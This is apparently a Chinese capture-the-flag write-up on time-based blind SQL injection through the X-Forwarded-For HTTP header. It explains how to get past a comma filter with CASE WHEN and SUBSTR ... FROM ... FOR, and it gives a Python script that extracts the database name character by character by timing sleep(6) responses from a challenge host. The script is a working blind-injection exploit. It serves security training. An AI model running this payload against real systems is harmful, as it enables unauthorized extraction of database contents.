HTTP头sleep延迟注入

http://123.206.87.240:8002/web15

无回显，通过http header里的X-Forwarded-For字段进行sleep注入。

源码过滤了 ',' 那么相应的if语句可以替换为select case when xxx then xxx else 0 end

substr和substring里使用from 1 for 1代替','

# -*- coding:utf-8 -*-
import requests
import sys
    
data = "127.0.0.1'+(select case when substr((database()) from {0} for 1)='{1}' then sleep(6) else 0 end))-- +"
url = 'http://123.206.87.240:8002/web15/'
result = ''
for i in range(1, 10):
    print'Guessing:', str(i)
    for ch in range(33, 129):
        if ch == 128:
            sys.exit(0)
        sqli = data.format(i, chr(ch))
        print(sqli)
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=4)
        except:
            result += chr(ch)
            print 'result: ',result
            break